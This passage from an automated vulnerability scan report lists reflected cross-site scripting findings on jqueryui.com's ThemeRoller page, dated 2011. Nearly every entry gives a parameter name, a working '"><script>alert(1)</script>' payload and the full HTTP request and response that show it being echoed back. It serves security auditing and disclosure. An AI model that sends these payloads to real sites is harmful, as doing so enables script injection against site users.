soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:29 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the fsDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16685"><script>alert(1)</script>dd0f9a34ef1 was submitted in the fsDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%16685"><script>alert(1)</script>dd0f9a34ef1&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:32 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120320
The value of the fwDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f96a1"><script>alert(1)</script>5f3ea89b3c1 was submitted in the fwDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=boldf96a1"><script>alert(1)</script>5f3ea89b3c1&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:31 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120257
The value of the iconColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9339"><script>alert(1)</script>0658b12cb0b was submitted in the iconColorActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CCd9339"><script>alert(1)</script>0658b12cb0b&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:12 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the iconColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48a1c"><script>alert(1)</script>c4245844e06 was submitted in the iconColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=66666648a1c"><script>alert(1)</script>c4245844e06&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:54 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the iconColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2216b"><script>alert(1)</script>cae83cdb21e was submitted in the iconColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF2216b"><script>alert(1)</script>cae83cdb21e&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:01 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the iconColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa094"><script>alert(1)</script>fb9a666b652 was submitted in the iconColorError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000fa094"><script>alert(1)</script>fb9a666b652&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:23 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the iconColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2df0"><script>alert(1)</script>9d2ae49d906 was submitted in the iconColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFFa2df0"><script>alert(1)</script>9d2ae49d906&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:41 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the iconColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa12d"><script>alert(1)</script>5d0fca062f4 was submitted in the iconColorHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000aa12d"><script>alert(1)</script>5d0fca062f4&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:19 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the iconColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df741"><script>alert(1)</script>1018a4cb3c8 was submitted in the iconColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFFdf741"><script>alert(1)</script>1018a4cb3c8&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:07 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
<meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" /> <meta nam ...[SNIP]... erColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFFdf741"><script>alert(1)</script>1018a4cb3c8&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_so ...[SNIP]...
3.65. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://jqueryui.com
Path:
/themeroller/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 795c1"><script>alert(1)</script>41c916c7e5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?795c1"><script>alert(1)</script>41c916c7e5d=1 HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:12 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 117121
The value of the offsetLeftShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3efe"><script>alert(1)</script>2f5dc1da704 was submitted in the offsetLeftShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2pxa3efe"><script>alert(1)</script>2f5dc1da704&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:29 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the offsetTopShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac264"><script>alert(1)</script>4256cccd365 was submitted in the offsetTopShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2pxac264"><script>alert(1)</script>4256cccd365&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:29 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the opacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d0f5"><script>alert(1)</script>ac92bb32d23 was submitted in the opacityOverlay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
